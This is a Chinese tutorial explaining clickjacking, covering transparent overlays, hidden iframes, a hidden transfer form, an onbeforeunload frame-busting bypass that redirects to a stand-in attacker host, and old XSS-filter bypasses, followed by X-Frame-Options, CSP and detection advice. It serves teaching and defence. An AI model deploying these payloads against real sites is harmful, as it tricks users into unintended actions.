点击劫持漏洞详解

15 阅读4分钟

引言

点击劫持是一种精心设计的攻击技术,攻击者通过视觉欺骗的方式,诱导用户在不知情的情况下点击恶意内容。这种攻击方式利用了Web界面的视觉特性,通过巧妙的界面重叠,使用户的操作被转移到隐藏的恶意元素上。

核心攻击技术

1. UI重定向(UI Redressing)

UI重定向是点击劫持最基础也是最常见的技术。其核心原理是通过CSS属性操作,将恶意内容以透明方式覆盖在正常界面之上。

以下是一个典型的UI重定向攻击示例:

<div style="opacity: 0; position: absolute; top: 0; left: 0; height: 100%; width: 100%;">
  <a href="malicious-link">点击这里</a>
</div>

这段代码的关键技术点在于:

  • 使用position: absolute确保覆盖层的精确定位
  • 通过opacity: 0实现视觉上的透明效果
  • 设置height: 100%; width: 100%确保完全覆盖目标区域

2. 隐形框架技术(Invisible Frames)

隐形框架是点击劫持的另一个重要实现方式,它主要利用iframe元素的特性来实现攻击目的。

关键实现代码:

<iframe src="malicious-site" style="opacity: 0; height: 0; width: 0; border: none;"></iframe>

这种攻击方式的特点是:

  • 通过将iframe尺寸设置为0来隐藏其存在
  • 移除边框以消除视觉提示
  • 可以加载远程恶意内容而不被用户察觉

3. 按钮与表单劫持(Button/Form Hijacking)

这是一种更为复杂的攻击方式,通常涉及到多层界面交互的操作。下面是一个综合示例:

<button onclick="submitForm()">点击获取奖励</button>
<form action="malicious-site" method="POST" id="hidden-form">
  <input type="hidden" name="username" value="victim">
  <input type="hidden" name="action" value="transfer">
</form>
<script>
  function submitForm() {
    document.getElementById('hidden-form').submit();
  }
</script>

技术要点分析:

  • 创建看似无害的交互按钮
  • 隐藏包含恶意操作的表单
  • 通过JavaScript事件处理器连接可见元素和隐藏操作

高级攻击技术

1. onBeforeUnload 事件利用

这是一种较为高级的攻击技术,通过阻止用户离开被攻击的页面来维持攻击状态:

<script>
    var prevent_bust = 0;
    window.onbeforeunload = function() {
        prevent_bust++;
    };
    setInterval(function() {
        if (prevent_bust > 0) {
            prevent_bust -= 2;
            window.top.location = "http://attacker.site/204.php";
        }
    }, 1);
</script>

技术原理:

  1. 利用onbeforeunload事件拦截页面卸载操作
  2. 通过计数器机制确保持续的攻击效果
  3. 结合HTTP 204响应维持攻击页面的存在

2. XSS过滤器绕过技术

现代浏览器的XSS过滤机制有时可能被利用来协助点击劫持攻击。以下是两种典型的绕过方式:

IE8 XSS过滤器绕过:

<iframe src="http://target-site/?param=<script>if">

Chrome XSSAuditor绕过:

<iframe src="http://target-site/?param=if(top+!%3D+self)+%7B+top.location%3Dself.location%3B+%7D">

防御策略

1. X-Frame-Options 头部实现

最基本也是最有效的防御方式之一:

Header always append X-Frame-Options SAMEORIGIN

这个响应头的三个可选值:

  • DENY:完全禁止页面被嵌入框架
  • SAMEORIGIN:允许同源域名下的框架嵌入
  • ALLOW-FROM uri:允许指定来源的框架嵌入

2. 内容安全策略(CSP)

CSP提供了更细粒度的安全控制:

<meta http-equiv="Content-Security-Policy" content="frame-ancestors 'self';">

CSP的优势在于:

  • 可以指定多个允许的来源
  • 提供更现代的安全控制机制
  • 与其他安全策略良好兼容

3. JavaScript防御代码

虽然不是最可靠的方式,但作为深度防御策略的一部分,可以添加JavaScript防御代码:

if (top !== self) {
    top.location = self.location;
}

需要注意的是:

  • JavaScript防御可能被禁用
  • 某些浏览器的安全设置可能影响防御代码的执行
  • 应该将其作为多层防御策略的补充,而不是主要依赖

检测与验证

要发现网站是否存在点击劫持漏洞,可以采用以下方法:

  1. 手动检查响应头

    • 验证是否存在X-Frame-Options头部
    • 检查CSP配置是否合理
  2. 自动化测试工具

    • Burp Suite的点击劫持模块
    • OWASP ZAP的相关扫描功能
  3. POC验证

<html>
<head>
    <title>Clickjacking Test</title>
</head>
<body>
    <iframe src="https://target-site.com" width="500" height="500" style="opacity: 0.5;"></iframe>
    <div style="position: absolute; top: 100px; left: 50px;">
        <button>测试按钮</button>
    </div>
</body>
</html>

防护建议

  1. 多层防御策略

    • 同时采用X-Frame-Options和CSP
    • 实现JavaScript框架破除代码
    • 定期进行安全审计
  2. 开发建议

    • 敏感操作增加二次确认机制
    • 实现基于令牌的请求验证
    • 关键功能添加用户认证要求
  3. 运维建议

    • 定期更新安全配置
    • 监控异常框架嵌入行为
    • 建立安全响应机制